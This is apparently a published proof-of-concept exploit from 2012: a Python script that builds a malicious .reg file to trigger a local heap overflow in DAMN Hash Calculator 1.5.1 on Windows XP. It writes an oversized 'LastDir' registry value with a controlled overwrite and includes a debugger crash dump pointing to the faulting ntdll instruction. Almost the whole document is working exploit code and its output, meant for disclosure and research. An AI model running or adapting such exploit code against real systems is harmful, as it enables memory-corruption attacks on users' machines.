DAMN Hash Calculator 1.5.1 Heap Overflow

`#!/usr/bin/python  
# Exploit Title: DAMN Hash Calculator v1.5.1 Local Heap Overflow PoC  
# Version: 1.5.1  
# Date: 2012-02-21  
# Author: Julien Ahrens  
# Homepage: http://www.inshell.net  
# Software Link: http://www.google.com  
# Tested on: Windows XP SP3 Professional German  
# Notes: Old but nice software...just to proof it's there :-)  
# Howto: Import Reg -> Start App -> Select File -> Cancel without choosing one  
#7C9204E6 . 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]  
#7C9204E9 . 0B47 10 OR EAX,DWORD PTR DS:[EDI+10]  
#7C9204EC . A9 00000269 TEST EAX,69020000  
#7C9204F1 . 0F85 8BA70300 JNZ ntdll.7C95AC82  
#7C9204F7 > 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10]  
#7C9204FA . 8A48 FD MOV CL,BYTE PTR DS:[EAX-3] <-- Crash  
#7C9204FD . 83C0 F8 ADD EAX,-8  
#7C920500 . F6C1 01 TEST CL,1  
#7C920503 . 56 PUSH ESI  
#7C920504 . 0F84 92A70300 JE ntdll.7C95AC9C  
#7C92050A . F6C1 08 TEST CL,8  
#7C92050D . 0F85 B3A70300 JNZ ntdll.7C95ACC6  
#EAX 42424245  
#ECX 00000008  
#EDX 77C31AE8 msvcrt.77C31AE8  
#EBX 0040F2F0 DAMN_Has.0040F2F0  
#ESP 0012F54C  
#EBP 0012F550  
#ESI 0041A2DC ASCII "EBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"  
#EDI 00330000  
#EIP 7C9204FA ntdll.7C9204FA  
file="poc.reg"  
junk1="\x41" * 392  
boom="\x45\x42\x42\x42"  
junk2="\x43" * 50  
poc="Windows Registry Editor Version 5.00\n\n"  
poc=poc + "[HKEY_CURRENT_USER\Software\DAMN\Hash Calculator\Settings]\n"  
poc=poc + "\"LastDir\"=\"" + junk1 + boom + junk2 + "\""  
try:  
print "[*] Creating exploit file...\n";  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!";  
except:  
print "[!] Error while creating file!";  
  
  
`